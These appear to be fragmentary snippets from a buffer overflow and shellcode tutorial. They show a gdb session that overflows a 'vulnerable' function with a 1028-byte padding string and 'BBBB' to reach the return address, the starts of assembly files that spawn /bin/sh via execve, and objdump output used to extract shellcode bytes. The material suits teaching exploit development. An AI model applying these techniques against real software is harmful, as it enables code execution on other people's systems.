fgsahoward

0x0804840d <vulnerable+9>:  mov    0x8(%ebp),%eax
0x08048410 <vulnerable+12>: mov    %eax,0x4(%esp)
0x08048414 <vulnerable+16>: lea    -0x400(%ebp),%eax
0x0804841a <vulnerable+22>: mov    %eax,(%esp)

fgsahoward

(gdb) r `perl -e 'print "A"x1028, "B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/easy/easy `perl -e 'print "A"x1028, "B"x4'`
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

fgsahoward

##
#  shell1_32.s - Executes a shell by calling execve
#  Compile and Link:
#        gcc -m32 -c shell1_32.s
#        ld -o shell1_32 -melf_i386 shell1_32.o

# Starts the data section, this is where the program stores initialized
# variables, and it is in a separate memory space than the .text section
.data

fgsahoward

##
#  shell1_64.s - Executes a shell by calling execve
#  Compile and Link:
#        gcc -c shell1_64.s
#        ld -o shell1_64 shell1_64.o

# Starts the data section, this is where the program stores initialized
# variables, and it is in a separate memory space than the .text section
.data

fgsahoward

[howard@sterling shellcodes]$ gcc -c shell1_32.s -m32 -o obj/shell1_32.o
[howard@sterling shellcodes]$ ld -melf_i386 -o bin/shell1_32 obj/shell1_32.o
[howard@sterling shellcodes]$ objdump -Dz bin/shell1_32

bin/shell1_32:     file format elf32-i386


Disassembly of section .text:

08048074 <_start>:

fgsahoward

##
#  shell2_32.s - Executes "/bin/sh"
#    Compile and Link:
#        gcc -c shell2_32.s -m32
#        ld -o shell2_32 -melf_i386 shell2_32.o
.text
.global _start

_start:
    push %ebp

fgsahoward

[howard@sterling shellcodes]$ gcc -c shell2_32.s -o obj/shell2_32.o -m32
[howard@sterling shellcodes]$ objdump -Dz obj/shell2_32.o 

obj/shell2_32.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:    55                       push   %ebp

fgsahoward

##
#  shell2_64.s - Executes "/bin/sh"
#    Compile and Link:
#        gcc -c shell2_64.s
#        ld -o shell2_64 shell2_64.o
.text
.global _start

_start:
    push %rbp

fgsahoward

[howard@sterling shellcodes]$ objdump -Dz obj/shell2_64.o 

obj/shell2_64.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:    55                       push   %rbp
   1:    48 89 e5                 mov    %rsp,%rbp

fgsahoward

##
#  shell3_32.s - Executes "/bin/sh"
#     Compile and Link:
#        gcc -c shell3_32.s -m32
#        ld -o shell3_32 -melf_i386 shell3_32.o
.global _start
.text

_start:
    # push a NULL byte